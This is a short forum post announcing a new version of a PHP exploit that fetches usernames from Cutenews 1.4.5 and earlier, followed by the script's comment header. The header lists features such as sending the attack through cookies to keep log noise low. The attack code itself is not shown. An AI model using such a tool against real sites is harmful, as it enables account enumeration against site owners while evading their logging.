This new version fixes bug related to usernames containing spaces and/or dots. Feedback is welcome!

P.S. Metasploit module version is coming out soon Smile

Code:

<?php
error_reporting(E_ALL);

// Cutenews <= 1.4.5 usernames fetching exploit
// Version 1.2
// Written by Janek Vind "waraxe"
// http://www.waraxe.us
// 10. march 2009
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE - minimal noise in logs
// 3. Pretesting saves time if Cutenews not vulnerable
//
// Version 1.1 -> pattern recognize improved
// Version 1.2 -> bugfix related to spaces in username
// version 1.2 -> bugfix related to dots in username/magic_quotes_gpc
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
